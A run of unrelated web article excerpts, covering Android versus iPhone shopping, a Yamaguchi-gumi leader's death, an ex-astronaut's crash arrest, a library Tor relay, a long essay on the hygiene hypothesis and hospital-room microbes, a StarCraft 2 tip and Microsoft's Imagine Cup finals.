Pistole drew some key support from House Republicans, including Homeland Security Committee Chairman Mike McCaul of Texas. A larger group of lawmakers from both parties, including Sens. Charles Schumer, a New York Democrat, and Lisa Murkowski, an Alaska Republican, said they would support legislation to keep knives off planes.
Apple users on iPhone and iPad accounted for five times what Google's Android users did when it comes to online shopping.
That phenomenon is bizarre when you consider that the vast majority — as many as 80% in some surveys — of all smartphone users are Android owners.
It doesn't make any sense.
Google's mobile users outnumber Apple's all over the place, but Apple users are the ones spending all the money. iOS users spent $93.94 per order, nearly twice that of Android users, who spent just $48.10.
What the heck is wrong with Android users?
Android people just seem to be sitting on their hands. Their phones are just as powerful as iPhones are. They have bigger screens, too. But they don't do anything with them. At least not financially.
We asked Google for comment. We'll update this post if the company gets back to us.
In the meantime, we turned to Simon Khalaf, CEO of Flurry, one of the larger mobile ad companies, to see if he had seen the same phenom in his business. He had a surprising answer for us: Androids are simply dumbphone replacement devices, and treated as such, he says. Despite the features at their fingertips, Android people use their phones for calling, texting and playing Bejeweled. They ain't shopping.
The Android cloud does have a silver lining. But before we get to that, it's worth hearing Khalaf out in full:
We have seen and published reports that an Android user is worth 1/4 of an iOS user, but that is based on virtual goods sales (mainly games). The IBM data seems to suggest that this is almost the same ratio for sales of physical goods (m-commerce).
I have done some anecdotal analysis on my own on some large specific e-commerce apps and found almost the same ratio of sales -- Basically one iOS user buys four times more than an Android user. But the analysis was on specific apps and not exhaustive, so we didn't say much.
As far as the main reason, we have theories -- but hard to validate. Main theory is that some Android devices are simply replacement of feature phones and not used as a smartphone, especially in the U.S. That big of a ratio is perplexing, but it is what it is. I don't have any reason to doubt IBM's data. Our data seems to be saying the same thing.
This is one reason why Apple isn't exactly panicking over the rise of Android in the East. Android users just aren't lucrative users for app developers, and app developers want to be in a media/commerce-rich environment, which right now is iPhone.
But there's a flip side to this: Imagine that the mobile business is an island, currently under development. Apple has essentially built a gleaming steel-and-glass tower on 20% of the mobile island that it owns. But Google owns the other 80%, and that land is undeveloped countryside. Who has the bigger opportunity in front of it? In the long-run, it's Google.
But in the short-run, it seems like the users on the majority of the island aren't interested in modern life.
Disclosure: The author owns Google stock.
WATCH NOW: We Beat The Crap Out Of A 'ShatterProof' iPhone With Hammers, Drills, And Sanders
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TOKYO (TR) – The fifth chairman of the Yamaguchi-gumi, Yoshinori Watanabe, passed away on December 1 at the age of 71, reports Sports Nippon (Dec. 2).
After serving in an affiliate gang, Watanabe ascended to the top post of the Yamaguchi-gumi in 1989 and retired in 2005 — a period that proved to be one of the most important reigns in the gang’s 97-year history.
According to the National Police Agency, the Yamaguchi-gumi, the nation’s largest gang, has 15,000 official members and 16,000 affiliate members. Of the 47 administrative divisions in Japan, the gang maintains offices in 45, with Hiroshima and Okinawa prefectures being the two exceptions.
Much of the credit for the gang’s current strength is due to the work of Watanabe. Membership in the gang swelled by 5,000 men during his 16-year rule.
Following the enactment of the Anti-Organized Crime Law of 1992, he divided the gang into smaller regional groups to reduce law enforcement’s ability to monitor their businesses, which include trafficking in drugs, prostitution, pornography, and construction.
Watanabe will likely be most remembered for the Yamaguchi-gumi’s relief activities following the Great Hanshin Earthquake of 1995, when the gang provided 20,000 meals to survivors in Kobe. In the post-quake redevelopment, the gang prospered tremendously, primarily due to its dealings in construction and real estate.
The rise to power of Watanabe came at a time of crisis. Following the death of the Yamaguchi-gumi’s third-generation boss, Kazuo Taoka, in 1981. Taoka’s wife served as chairman until 1984, when Masahisa Takenaka was selected to lead the gang. However, he was shot and killed by a member of the Ichiwa-kai criminal syndicate one year later, during a war between the two underworld groups. The appointment of Watanabe four years later ended this decade-long period of instability.
James Donald Halsell Jr., a five-flight veteran who was selected by NASA in 1991 to become an astronaut, was arrested Monday in the deaths of Niomi Deona James, 11, and Jayla Latrice Parler, 13. The family had just picked up the girls from Texas for summer vacation with their father and were almost home when the crash happened.
He was booked into the Tuscaloosa County Jail at 11 a.m. Monday and released at 6:30 p.m.after posting $150,000 bond. His mugshot was either never posted on the jail's website, or was removed before authorities announced his arrest. The Tuscaloosa County Sheriff's Office released the mugshot this morning.
Multiple attempts to reach Halsell or family members at his Huntsville home have been unsuccessful.
The accident happened at 2:50 a.m. Monday on U.S. 82 near the 65 mile marker, 10 miles east of Tuscaloosa, said Senior Trooper Reginal King. Niomi and Jayla, both of Brent, were passengers in a 2015 Ford Fiesta. The Fiesta was struck by a 2015 Chrysler 300 driven by Halsell.
King said neither of the girls were wearing seatbelts and were thrown from the vehicle. Niomi was pronounced dead on the scene. Jayla was taken to DCH Regional Medical Center where she was also pronounced dead.
The driver of the Ford, 37-year-old Pernell Deon James and another passenger, 25-year-old Shontel Latriva Cutts, were also taken to the hospital for their injuries. Authorities said James was the father of both girls, who were half-sisters.
King said Halsell was arrested and charged with murder after the preliminary investigation showed that alcohol and speed may have been factors in the crash.
Tuscaloosa County Chief Deputy District Attorney Jonathan Cross said a deposition in the case written by a trooper said Halsell was on his way to pick up his son in Louisiana. He crashed into the back of the James' family's Ford Fiesta, pushing it across the median and causing it to flip twice.
Troopers, according to the deposition, later searched Halsell's Motel 6 room, finding an empty bottle of wine and an empty 10-pack of sleeping pills. Halsell told investigators he didn't remember the crash and asked to see the victim's bodies.
One witness, according to the deposition, told troopers Halsell tried to the leave the scene of the crash. "Halsell's speech was slurred, eyes were dialated, clothes disheveled and he was unstable on his feet and smelled of alcohol,'' Cross confirmed the deposition reads.
Halsell, a West Monroe, Louisiana native, received a Bachelor of Science degree in engineering from the United States Air Force Academy in 1978, a Master of Science degree in management from Troy University in 1983, and a Master of Science degree in space operations from the Air Force Institute of Technology in 1985, according to his NASA biography.
While with NASA, he was the recipient of multiple awards. An F-4 pilot qualified in conventional and nuclear weapons deliveries, he served at Nellis Air Force Base in Las Vegas from 1980 until 1981, and Moody Air Force Base in Georgia, from 1982 through 1984. In 1984-1985, he was a graduate student at the Air Force Institute of Technology, Wright-Patterson Air Force Base in Ohio. He then attended the Air Force Test Pilot School at Edwards Air Force Base, California, and during the next four years he performed test flights in the F-4, the F-16, and the SR-71 aircraft.
Often a sarcastic quip, it's used as a commendation for doing something particularly well on the Web -- whether it be an amusing remark, a well-made website or an outstanding contribution.
Without derision, I would like to congratulate the president-elect: You, sir, won the Internet.
Of course, I'm not the first to notice such an achievement. Throughout his campaign, Barack Obama's crowd was lauded for its extraordinary (for a politician) use of well-designed websites and participation in social media dens, like MySpace, Facebook and Digg, to leverage an increasingly tech-savvy populace of voters.
Blogs discussed "Obama's social media advantage" -- not a huge shocker considering his opponent, Sen. John McCain, with his tortured fingers, was a self-confessed computer illiterate.
The Times Technology Blog published a post titled "Obama, the first social media president." Marketing professionals took notice, creating websites like TechPresident and Barack 2.0, to track Obama's use of social media.
Barring maybe long-shot Republican presidential hopeful Rep. Ron Paul, Obama's campaign put together the most plugged-in presidential run of any candidate in history. He Twittered his heart out; he was LinkedIn; it was Eventful.
And then election day rolled around, and the flame began to Flickr.
The node was turned back on Tuesday evening immediately after the board of the Kilton Public Library in Lebanon voted to do so.
As Ars reported earlier, the goal of the Library Freedom Project is to set up Tor exit relays in as many of these ubiquitous public institutions as possible. As of now, only about 1,000 exit relays exist worldwide . If this plan is successful, it could vastly increase the scope and speed of the famed anonymizing network. For now, Kilton has a middle relay but has plans to convert it to an exit relay . A middle relay passes traffic to another relay before departing the Tor network on the exit relay.
A Homeland Security Investigations (HSI) special agent first learned of the plan after reading Ars’ July 30 article and then forwarded it on as a heads-up to a local police officer on the New Hampshire Internet Crimes Against Children task force. That, in turn, led to a meeting between local law enforcement, city officials, and the library. (HSI is the investigative arm of the Department of Homeland Security.)
"They claimed that they merely sent the link to the article, but that is incredibly baffling to me that they sent a link—the police have a whole narrative about Tor and that it's all about criminal activity," Alison Macrina, one of the leaders of the project, told Ars. "A DHS preemptive strike was not in our threat model."
However, Sean Fleming, the library’s IT director, told Ars before the Tuesday vote that there was “no pressure from the feds at all.” He did say that at the local roundtable meeting, the library volunteered to take down the node until the library’s board of trustees could officially vote on the issue on September 15. Librarians nationwide have long been advocates for privacy and freedom of information.
Shawn Neudauer, an Immigration and Customs Enforcement (ICE) spokesman, told Ars that federal authorities have no opinion on the restoration of the node. (ICE is part of the Department of Homeland Security.)
“This tragedy would not have happened, if there had been peace on that land, or in any case if military operations in southeastern Ukraine had not been renewed,” he said in televised comments.
“And without doubt the government of the territory on which it happened bears responsibility for this frightening tragedy,” he said, adding that he had urged the Russian authorities to do everything possible to help with the investigation into the incident.
Mike Matthews, son of Hall of Fame lineman Bruce Matthews and nephew of Browns longtime linebacker Clay Matthews, will be joining the Browns, according to the Houston Chronicle.
Matthews, a center, first must compete to make the team. If he does, he then will be in the mix to succeed Alex Mack.
Matthews' older brother Jake is a starting offensive tackle and a former first round pick for the Atlanta Falcons.
Mike Matthews started for three years and did not give up a sack in the past two seasons.
Among the scouting reports on Matthews is this one from ProFootballFocus.com:
"Jake Matthews’ brother is an excellent interior offensive line prospect. He finished as our 12th overall center, recording solid grades in both pass protection and as a run blocker. Matthews allowed just a single knockdown in 2015, to go with a further seven hurries, culminating in a +7.5 grade. He was only a solid run blocker but was good enough to suggest he can forge a career in the pros."
Matthews was included on Gil Brandt's lengthy list on NFL.com of top undrafted players.
Kim Kardashian plans to become Mrs. Kanye West in June 2014, according to a new report, and we can’t wait to see it unfold in front of our eyes. Plus, baby North West will be almost a year old, so hopefully, she’ll be part of the big day!
Kim Kardashian & Kanye West Marrying In June
“Kim has always wanted to be a June bride and she is finally going to get her wish,” a source told RadarOnline. “Kim and Kanye have narrowed down the wedding location, which is being kept a secret at this point. It will be on the outskirts of Paris.”
Kendall Jenner Cries Over Parents’ Split
While Kim recently confirmed on Jimmy Kimmel‘s late night show that it would be on Paris, it won’t be at the Palace of Versailles, according to the report.
“Kim and Kanye really wanted to get married at Versailles and were both hoping to persuade officials during their visit there,” the source added. “Ultimately it backfired. It was still a firm no.”
Kim & Kanye’s Wedding Will Be ‘Over-The-Top’
We won’t miss a second of the wedding, since E!’s cameras will be there for the duration, Radar reported.
“Kim persuaded Kanye to let the cameras roll because E! will pick up most of the cost of the wedding and it’s a lot easier for a network to deal with logistics of a foreign wedding than if it were just the two of them planning it,” the insider added.
While we’re pretty sure that the cost isn’t something they’d be really worried about, we know that the couple have super extravagant plans for the big day — and won’t be let down.
“Both Kim and Kanye have very high expectations for their wedding,” the insider said. “It will be an over-the-top affair and there will be pre-wedding festivities leading up to the big day for their guests. It’ll be like a festival! The couple is looking for something grand, but something that can offer privacy and security.”
— Emily Longeretta
Book titles are difficult to choose. In theory, a perfect title is concise, compelling, enticing and, oh by the way, accurately conveys some aspect of the book’s contents. In practice, most titles involve more compromise than perfection. The working title of my first book was Unknown. The book was about the biological unknown and what remains to be discovered as told through the stories of the discoverers and would-be discoverers. I liked the title. It seemed to capture some essence of what I was up to and offered a good conversation starter. People would ask what I was doing and I would say “oh, going to spend the afternoon in the Unknown.” The editors were not so sure. One day I received an email forwarded from someone within my publishing house that said, “when is Dunn going to decide on a title?” At first I did not understand and then it became clear. The cover page of my book read, “Title: Unknown.” I got the point. The book became Every Living Thing.
The working title of my new book was Clean Living is Bad for You. This title had the advantage of offering a simple thesis. It also seemed more family friendly than the alternative suggested by my neighbor, “People Who Like it Dirty are More Healthy.” In six words, Clean Living is Bad for You set forth the thesis that living a life that was too clean and devoid of other species makes you sick. I imagined a cover with a kid licking cookies off of the floor beside a neat freak father holding antimicrobial wipes. The father would have a textbox over him that read, “sick” and the kid would have her own textbox reading “healthy.” Inside, you would find ten quick steps to immersing yourself in more kinds of bacteria and, in doing so, living a healthier life with more wealth through embracing the bacteria around you1.
But then I started to write the book and discovered the Clean Living title no longer captured what the book was about. I suppose in such a moment there are two options. Stick with the simple title, which might be easier to sell, albeit not representative of the book, or give in to the complexity. I gave in to the complexity, hundreds of millions of years of complexity. I wrote about the influence of our changing relationship with other species in general—including the bacteria on our bodies and in our houses, but also the predators in our gardens, pathogens everywhere and crops and cows in our fields—on our health and well being. The title became “The Wild Life of Our Bodies, predators, parasites, and partners that shape who we are today,” which was not quite what the book was about either, but closer.
I changed the title because the book changed. But there was also another issue. I wasn’t sure if the idea that clean living is bad for you was true. We know less about bacteria and clean (or dirty) living than I expected, much less.
In a coarse way, dirty living is good for you and clean living is bad for. You are part bacteria, if you got rid of the life on your skin or in your gut, you would almost certainly die. But, what I had envisioned was an expansion of the slightly more complex idea called the hygiene hypothesis, whose argument goes something like this… Humans moved from rural lifestyles outdoors to hyper-clean lifestyles indoors in city apartments with central air, sealed windows and surfaces scrubbed clean, at every opportunity, with antimicrobial wipes. That transition led us to spend less time getting “dirty” outside. It also “cleaned up” many of the species we need around us indoors that would allow us to get dirty with life. This combination prevented many of our immune systems from developing normally2. As a consequence, our immune systems tend to get “messed up” when we live in cities. They revolt against us in the form of asthma, allergies, Crohn’s disease, inflammatory bowel disease and, depending on who you ask, maybe even MS and autism. In other words, clean living of one sort or another may be at the root of the majority of modern, chronic, diseases.
The hygiene hypothesis is simultaneously elegant, sweeping, important, vague, and poorly tested. Very little is known about how a change in the bacteria you are exposed to might negatively affect your immune system (though that is rapidly changing as more and more scientists study the problem). Even less is known about how microbes vary with human lifestyles. When nothing is known, many things can seem plausible. The early days in any field like household microbiology are simultaneously delightful and frustrating, a kind of Wild West in which everyone is armed with ideas and ready to shoot.
Is that a Worm in My Colon?—Some things have been tested. It has been shown that the presence or absence of worms in the gut of someone can influence their immune system. Taking worms away from someone with worms can make them more likely to suffer from autoimmune diseases. Conversely, adding them back can make them less likely to suffer from autoimmune diseases. Just how worms affect our immune systems is not yet clear, but that there have been negative consequences of getting rid of our worms, at least for some people, is becoming clear. That said, we lost our worms because we started using indoor plumbing and walking around in shoes. When people talk about getting back to nature and being less hyperclean they seldom mean pooping near other people’s feet and hands. The same public health systems that got rid of our worms also save lives, by preventing the transmission of other pathogens, such as Cholera, via that same route. But there is more than a worm at the bottom of this story.
If the hygiene hypothesis were right, we might expect the composition of bacteria and other microscopic species on individuals or in houses to vary as a function of our lifestyles and our health should vary, in turn, as a function of the composition of those microbes. The good news is, this prediction is very testable.
How would you do the study? One approach would be to sample the microbes in houses in rural and urban areas and then, from those same houses, ask individuals about their health and wellness, particularly as relates to immune disorders (I’m not quite there yet, but see footnote four when you get to it). The hygiene hypothesis doesn’t really specify whether it is the diversity (how many kinds), composition (which kinds) or abundance (how many in total) of tiny life forms that matters. You could measure all three. It would be relatively easy, albeit not cheap.
Personally, my guess is that whatever the result is, it is likely to be dependent on other factors. It seems unlikely that urban living in Rio de Janeiro means the same thing as urban living in, say, New York, in terms of exposures to different numbers and types of microbe species. The climate is different. The other species present (e.g., birds, bats, pets and insects) are different. It also seems as though even within an urban environment buildings are likely to differ as a function of their architecture, design, and building materials. Or at least one hopes that how you make a building influences who lives in it. Pigeons prefer to nest in vertical structures. Houses with attics are better for bats. But what we know tends to be about animals, and even then, mostly the animals with backbones. What about the microbes? Someone needs to study how they vary as a function of how and where we live. Fortunately, someone did, sort of.
In December of 2011, Steven Kembel, a research associate at the Biology and the Built Environment Center at the University of Oregon, and colleagues published a study in which they compared the microbial composition of hospital rooms that differed in how they were designed. Anyone who has stayed in one knows hospital rooms are not homes and yet the rules that apply to hospital rooms might also apply to homes. After all, the cleanest among us seem to want to make our homes “hospital clean.” I’ve seen the advertisements, you are supposed to scrub and scrub until even the children shine.
If the hygiene hypothesis is right or even on the right path, what Kembel and crew would expect to see would be that those design elements that make the hospital rooms more like a rural house, more natural in some crude sense, should be more likely to favor a diversity of “good” microbes. Conversely, they might expect that the features that make the rooms more sealed off and “modern,” cleaner if you will, should favor pathogens and disfavor the full richness of other species, that wealth I mentioned earlier.
Is there Life in There?—This is a good moment to point out what is obvious to microbiologists but not to the advertising agencies who tell us to kill the germs, namely that it is not possible to kill “the germs.” The world is dense with other species. Every inch of every thing around you right now is covered in living cells, cells that make do with what you leave them. Your only choice in terms of how you affect these other species, this universal, shimmering, majority, is a choice of which of them to favor and which to disfavor. Microbes happen. There are even bacteria species capable of “consuming” Triclosan, the active ingredient in antimicrobial soaps, wipes and underpants. We live among the microbes much as we live among the molecules (and microbes) in air. And so what Kembel chose to ask was not whether there are bacteria in hospital rooms. Yes, there are. They are on the patients, on the walls, on the children’s books in the waiting room and even on the doctors and nurses. What matters is not whether there is life in there, but which life is in there, which is precisely what Kembel sought to study2.
The experimental component of Kembel’s study focused on one aspect of the rooms, whether or not they were vented by standard AC/Heating systems or by windows. Half of the rooms were assigned to one of each of these categories. This was the only factor Kembel and crew varied, but they measured many other features of the rooms, much in the way you might measure additional variables when comparing old and young rain forests, variables like humidity, temperature and wind. When they did, Kembel and colleagues found that the diversity and abundance of bacteria varied as a function of the design of the rooms. BOOM. BIG RESULT. OK, well, wait, the overall result was not so surprising, but there is more, there is the issue of why they varied.
Clean living is Bad for Diversity—Kembel and friends3 found the composition of bacterial communities “in window-ventilated patient rooms” to be “intermediate between mechanically ventilated patient rooms and outdoor air.” Open the window, the lesson seems to be, and both air and microbes come inside. What was more, when rooms ventilated using windows were warmer and drier, they tended to be more like the mechanically ventilated rooms suggesting that it might be, in part, the warmth and dryness of the mechanically ventilated rooms that helps to keep them “different.” These differences in composition were also associated with differences in diversity, the number of kinds of bacteria. The outdoor air was most diverse, followed by rooms with an open window and then, finally, rooms that were mechanically ventilated.
Put it together and it appears the more dry, warm and sealed off a room is the fewer kinds of bacteria it is likely to have. This is exactly what the hygiene hypothesis would predict, or really it is more like what the hypothesis assumes but tends to avoid testing, that the conditions in which we try to envelope ourselves, warm rooms with the windows closed and the central air turned on, lead to the lowest diversity of microorganisms in our surroundings. And what the hygiene hypothesis argues is that while we may tend to think of this as a hygiene success story, it represents failure. This lower diversity may lead our immune systems to develop in such a way as to be unable to make full sense of the world. This aspect of “clean living” may well be bad for us. More needs to be tested and yet Kembel’s results are exciting, a suggestion that our air conditioned/heated, closed off apartments and offices all around the world may be devoid of diversity, a diversity we might need for our bodies to make sense.
Staphylococcus aureus. It may be beautiful, but it is also one of the species Kembel et al. classified as bad news
Clean Living is Good for Pathogens—Somewhat buried in this paper is another revelation, one that is quieter but, if true, perhaps even more novel. In addition to considering the diversity of benign and/or even good bacteria associated with the environment in general, the paper also evaluated the abundance, or a measure of abundance anyway, of bacteria closely related to human pathogens. The abundance of these bacteria varied among rooms but not simply as a function of how they were ventilated. The best predictor of the number of these potentially bad species was the room’s diversity of bacteria. Rooms with a greater diversity of bacteria had fewer individuals of the bacteria species similar to human pathogens. The diversity of bacteria explained (accounted statistically for) more than half of all of the variation in the number of potential pathogens!
Could the diversity of good bacteria in some rooms actually be reducing the density of bad bacteria? There is precedent for such an idea, though it comes from grasslands rather than hospitals or bedrooms. In grasslands and other outdoor habitats (Grasslands are an appropriate example for Kembel, who started off studying grassland diversity before moving on to hospital rooms), an enormous body of literature considers whether more diverse grasslands are harder for an invading life form to take over. The answer—though I will admit to summarizing a literature that includes hundreds, maybe thousands, of papers in six words— is, yes diversity helps to resist invasion. In those fields, diverse grasses efficiently use the resources invaders need, preventing them from gaining a foothold. Could having a diversity of bacteria in your home or hospital room not only make your immune system more likely to develop normally but also help to outcompete the bad news bugs in the first place? YES, YES, YES, the answer is definitely maybe5.
A Better Title in 55 Words or Less—All of this brings me back to the issue of my book title. I think it is possible we will find that clean living leads us to live alongside fewer rather than more bacteria species and that this really is bad for you, for more than one reason. But for now the nuanced title, the title that captures the gist of what we do and don’t know is something like “Scientists may have discovered that Clean Living is Bad for You. The idea is supported so far by the data, but key tests have not been done and it is important to point out that really dirty living is bad for you too. Really dirty living gives you Cholera. Scientists agree you don’t want that.”
Maybe if the publisher chose a small enough font, it would work. Or maybe not.
Table of evolutionary contents: Here you can skip ahead or backward to the other chapters in the story of how we came to depend on or ignore other species during our evolution, whether they be those about the cow, the chicken, the hamster, bacteria (on Lady Gaga, on feet, in bathrooms, as influenced by antimicrobial wipes, as probiotics, in the appendix), pigeons and urban gardens, house sparrows (to be published next week, stay tuned), predators, diseases, dust mites, basement dwellers, lice, field mice, viruses, yeast, the fungus that produces penicillin, bedbugs, houseflies, and more.
Or for the big picture of how I think these stories come together to make us who we are, check out The Wild Life of Our Bodies.
Footnotes
1—I would, of course, have pointed out early in the book that the wealth in question was not economic but rather the richness of microbial diversity, the living wealth of the sort that really does grow on trees and also on you. I swear, I would have pointed it out early.
2—S.W. Kembel, E. Jones, J. Kline, D. Northcutt, J. Stenson, A.W. Womack, B.J.M. Bohannan, G.Z. Brown, and J.L. Green.2012. Architectural design influences the diversity and structure of the built environment microbiome. The ISME Journal. doi:10.1038/ismej.2011.211
3—I don’t know if they are all friends. They might hate each other, but one can only say “and colleagues” so many times and even “colleagues” implies, rightly or wrongly, that they are collegial.
4—There are advantages and disadvantages to being a scientist who also writes rather than a full time science writer. The disadvantage is that if I have a really great story about a crazy scientist who does crazy things (and boy do I have some) you probably can’t tell it because it might be the person who ends up voting on your tenure or reviewing your papers. The advantage is that when you write about something that is really interesting, you can go back to your lab and announce to everyone, “hey, guess what we are going to study.” So it was that I announced to my lab, earlier this year, “hey, part of what we will be studying is whether or not clean living is bad for you…and we are going to do it by letting people do science in their own houses about their own lives!” The broad project is called your wild life, though I don’t mind saying that wasn’t the title we started with.
The folks in my lab and I, along with Holly Menninger and Steve Frank, both also at North Carolina State University, and a whole tribe of scientists from the Nature Research Center have now teamed up with Noah Fierer and his crew (friends) at the University of Colorado Boulder, to do a bunch of fun things none of us could have imagined doing on his or her own6. Among them is a big study to sample the life, including but not exclusive to the microscopic life, in thousands of houses across North America. All of this is possible because we are enlisting citizens—you, your cousin, that other cousin no one talks to with the house that doesn’t have running water and your mom—to sample their own houses and, for a subset of more ambitious folks, collect data on the climate, and other habitat characteristics of their houses, from fridge to toilet rim. We want you to help us go boldly where few have gone before, into your bedroom. Wait, that didn’t sound right, but you get the idea.
We already have thousands of people signed up, people to whom we are sending sampling kits, but we will keep sampling until the money runs out because the more houses we are able to sample the more we will be able to tease apart how different elements of how you live (your air conditioning, your pets, your houseplants and even the size of your house) influence what species you live with, so please sign up and hopefully we will be able to get to your house too and in the meantime you can read about our progress and fun, whether or not your house has been sampled and participate in our other related studies about the life in your house, be it bacteria, ants, or crickets. Our goal is to sample enough houses that we can figure out what makes some houses rich in good (or at least benign) bacteria, fungi, pollen and even insects and others abundant in fewer species, some of them pathogens and dangerous pests. In the process, we want to engage people in being able to study their own lives, where big mysteries lurk (albeit sometimes in small bodies). We think part of the story will be climate, part will be urbanization and part will be just how houses are designed (which would be great, because it then allows us to think about how to better design homes), but we could be wrong. We are wrong all the time. That is the thing about writing and science. The story, no matter what its title, doesn’t always lead quite where you think it might. With any luck, it goes somewhere far more fun.
I love my job. The truth is, this story has already taken a fun turn, even before we have gotten the first results back about bacteria, fungi, archaea or pollen. We have already been wrong, in a way. We began our wild life project by asking citizens to tell us about the species in their houses. In doing so, we discovered that a mysterious, hopping, lunging, insect species no one knew was widespread is thriving in basements throughout North America. Is it in your basement, let us know by filling out a survey here.
5—The big caveat in this part of the story has to do with the issue of what it means to be a bacterial species “related to” a pathogen. Because Kembel and colleagues identified bacteria species based on relatively few of their genetic letters, it is easy to know who belongs in what clan, but any given clan is likely to have some wonderful folks and some outlaws. The genus Staphylococcus includes terrible, terrible, pathogens such as MRSA that can kill. It also includes the teddy bear of a species, Staphylococcus epidermidis, which lives all over your body and probably does you a fair number of favors, if you know what I mean. Well, what I mean is that it is a normal component of most human bodies and may even help to defend us against truly bad species, such as closely related pathogens. What all of this means is that the species Kembel calls similar to pathogens are similar, but might or might not be pathogens. What is needed as follow up is a study in which more of the nucleotides of the species present in the rooms are studied to conclusively separate outlaws and teddy bears. OK, that analogy has been taken too far, but the point is what Kembel offers here is not resolution but, instead, a clearly articulated version of a hypothesis with preliminary data, which is what I meant when I said, “maybe.”
6—I know, technically this is a footnote to a footnote. Welcome to my brain. But I wanted to point out two more people are also now involved in helping to make this big project a reality. Holly Menninger was recently at a meeting where, to the sound of fiddle music, she may have convinced Jonathan Eisen to help make the kinds of projects the citizens working with us can do more sophisticated (imagine identifying the bacteria in your house yourself at home) and Jason Bobe to help make the answers we get related to human health more relevant.
The City Museum is housed in, above and around the 600,000 square-foot former International Shoe Company and is the result of artist Bob Cassilly’s creative genius. It is an ode to all things "found," creating a surrealist museum, playground and art instillation that is comprised entirely of recycled materials found locally in the city of St. Louis.
Cassilly and his long-time team of 20 artist friends and colleagues opened to the public in 1997 and have spent years adding to this "installation," constantly reclaiming disused parts of their fair city to expand, improve and reimagine their feat of creativity.
“The City Museum makes you want to know,” says Cassilly. “The point is not to learn every fact, but to say, ‘Wow, that’s wonderful.’ And if it’s wonderful, it’s worth preserving.”
The City Museum attracts young and old and manages to have a little something for everyone -- from an aquarium, to multiple ball pits and subterranean caves, to restaurants and bars, this place is a one stop shop for fun.
Related on Yahoo Makers: You Become the Art in This Selfie Museum
General admission is $12, ages 3 and up and there are additional fees for rooftop and aquarium access. So, if you find yourself wondering what to do on a trip to ole’ St. Louis, seize the day and go have a little fun on the coolest playground we’ve ever seen!
Also from Yahoo Makers:
I've updated the post with information about speedlings, where to get the map, and how to set up hotkeys. Apparently people are still posting about these.
Tired of seeing your marines explode into green goo? Do you watch Marine King execute perfect splits and lament that you'll never be able to pull off such a high APM task?
Stop frantically box clicking small groups of marines and use this simple trick to pull off splits you never thought were possible!
As as a group of banelings rolls towards your marines, patrol click them away at a slight angle. From there you can shear off smaller groups with patrol click in a Y or T formation. The effect is that the marines nearest the banelings will turn and fire, while the rest continue to run. This gives you maximum spread since each banelings hits very few of your units, allowing you to increase your cost efficiency dramatically. As a bonus, moving in patrol formation maintains a magic box, whereas move command tends to clump your units.
Banelings are coming! Patrol away at a slight angle after stimming.
Box select some of the marines and patrol click them in the first branch of the Y.
Do the same with another set.
The result is an extremely cost efficient split and trade!
This trick was discovered while using Griffith's Marine Split Challenge map. I strongly recommend Terran players use it to work on their splitting micro.
Replay in Griffith's map:
[url blocked]
Enjoy!
Additional Information:
- Thread for Griffith's map:
You can do a search on Bnet for "Marine Split Challenge" by Griffith too. Currently the map should be on the NA and EU servers, and should be released to others in the future. More details should be in that thread.
- I remapped patrol to Q. You can also use attack move but patrol gives a nice after-effect of spreading as well.
How to do this:
+ Show Spoiler +
Go to Menu -> Hotkeys -> click a unit -> click the patrol icon -> set it to whatever you want -> click accept
- Manually splitting I was having trouble getting past level 13 on the map.
Using patrol splitting I managed to get to level 21 in about an hour. I can consistently get to level 18 in under 10 minutes now, after less than 2 hours of practice.
- Keep in mind this technique is situational. You still need to be able to manually split for some game scenarios, especially two pronged attacks and surrounds (well... you're already screwed in that case ). You also have to start moving before enemy units get in range. However, it's great to have this technique in your arsenal.
- A lot of people are saying speedlings nullify this technique. In fact, this technique still yields great results against a speedling/baneling mix compared with manual splitting. You will still get a decent spread, and the benefits of spreading vs banelings far outweigh the costs of spreading vs lings. It's just that against such a mix, it's MUCH harder to trade cost effectively no matter what you do. To test this, type "sling" in Griffith's map without quotes before level 6. On sling mode I got to level 10.
There were 35 teams in the finals, split evenly between three categories: games, innovation, and global citizenship. All of them presented to a panel of judges on Wednesday, after which a winner was selected for each category. Those three were each awarded $50,000, but the grand prize — prestige and a private mentoring session with Satya Nadella — was reserved for today’s final ceremony.
It took place at my very own Garfield High School (go Bulldogs!) and filled up our newly refurbished Quincy Jones Auditorium. An energetic beatboxer opened things up, but with it being before 9AM and coffee not allowed inside, I was eager for things to get started in earnest.
Eventually the finalists were ushered out, along with the three judges: Dr Jennifer Tang, a previous winner and founder of Eyenaemia; Kasey Champion, computer science education specialist at Microsoft Learning; and John Boyega, whom you might remember from 2011’s Attack the Block and some flick about a Star War.
In the games category was PH21’s clever mobile title, Timelie, that combines tactical stealth with control over time. In global citizenship was Team Amanda, which aims to prevent bullying with a VR experience that measures the user’s response to bullying-related media. And in innovation was ENTy.
ENTy (the ENT stands for ear, nose, and throat — not the sentient trees) is a device and app that monitor balance and posture in real time, meant to help doctors diagnose and check up on inner ear problems like vertigo.
The patient straps on a device the size of a pack of cigarettes to the small of their back, and a set of sensors sends data to an associated app. There’s a real-time readout of position, and you can see that over time as well for a test that, for example, requires a patient to stand straight for 20 seconds with their eyes closed.
The team is only three people, from Romania’s University Politechnica: Iulian-Razvan Mateșică on hardware, Cristian Alexandrescu on the app, and Flavia Oprea on business development. She took the lead in presenting the tech and fielding questions — extremely well I might add; in fact, all the presentations I saw were highly polished, especially for students for whom English is not their first, or even second, language.
ENTy’s next step, presumably after getting some real talk from the CEO of Microsoft, will be to make the device a little more presentable. They’ve already tested it with several doctors and hundreds of patients, and the response has been very positive, but the device itself isn’t, as they say, ready for its close-up.
“The doctors say they don’t want it any smaller,” Oprea said in a Q&A Thursday. “But we have a plan for B2C to make it smaller — it has to be, how do you say, a sexy wearable, for everybody.”
To that end they are working with a firm in Bucharest to design and promote the device outside doctors’ offices, though the strictly medical side is also being pursued — but that seems to be mainly paperwork. Collecting data for machine learning is also on the table, but there’s even more red tape associated with that.
After the ceremony, Oprea also spoke with great optimism about the prospects of young women in tech, at least in Bucharest.
“The number of girls that are interested is growing,” she said. “We’re telling them not to be afraid, and not to listen to negative advice like ‘computers are for boys.'”
As a final treat, Microsoft invited Garfield’s principal, Ted Howard, on stage to accept a donation: “$100,000 worth of” Surface Books, which I take to be 85 or 90 of them. The school is looking a lot better than it did when I was going there in the late ’90s, but you better believe GHS appreciates the gift — somehow I doubt they’re swimming in laptops.
Here’s looking forward to next year’s cup and the fresh ideas that come with it.
